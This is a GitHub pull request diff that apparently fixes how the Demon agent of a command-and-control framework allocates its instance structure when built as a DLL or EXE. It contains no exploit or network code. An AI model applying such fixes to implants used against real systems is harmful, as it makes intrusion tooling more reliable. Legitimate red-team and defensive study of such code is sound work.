Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix Demon DLL #524

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 0 additions & 5 deletions payloads/Demon/src/Demon.c
Original file line number Diff line number Diff line change
Expand Up @@ -33,11 +33,6 @@ SEC_DATA BYTE AgentConfig[] = CONFIG_BYTES;
*/
VOID DemonMain( PVOID ModuleInst, PKAYN_ARGS KArgs )
{
INSTANCE Inst = { 0 };

/* "allocate" instance on stack */
Instance = & Inst;

/* Initialize Win32 API, Load Modules and Syscalls stubs (if we specified it) */
DemonInit( ModuleInst, KArgs );

Expand Down
4 changes: 3 additions & 1 deletion payloads/Demon/src/main/MainDll.c
Original file line number Diff line number Diff line change
Expand Up @@ -30,6 +30,8 @@ DLLEXPORT BOOL WINAPI DllMain(

if ( Reason == DLL_PROCESS_ATTACH )
{
static INSTANCE Inst = { 0 };
Instance = & Inst;

#if !defined(SHELLCODE) && defined(DEBUG)
/* if the dll is compiled in debug mode start a console to write our debug prints to */
Expand Down Expand Up @@ -61,4 +63,4 @@ DLLEXPORT BOOL WINAPI DllMain(
}

return FALSE;
}
}
6 changes: 6 additions & 0 deletions payloads/Demon/src/main/MainExe.c
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,12 @@
INT WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nShowCmd )
{
PRINTF( "WinMain: hInstance:[%p] hPrevInstance:[%p] lpCmdLine:[%s] nShowCmd:[%d]\n", hInstance, hPrevInstance, lpCmdLine, nShowCmd )

INSTANCE Inst = { 0 };

/* "allocate" instance on stack */
Instance = & Inst;

DemonMain( NULL, NULL );
return 0;
}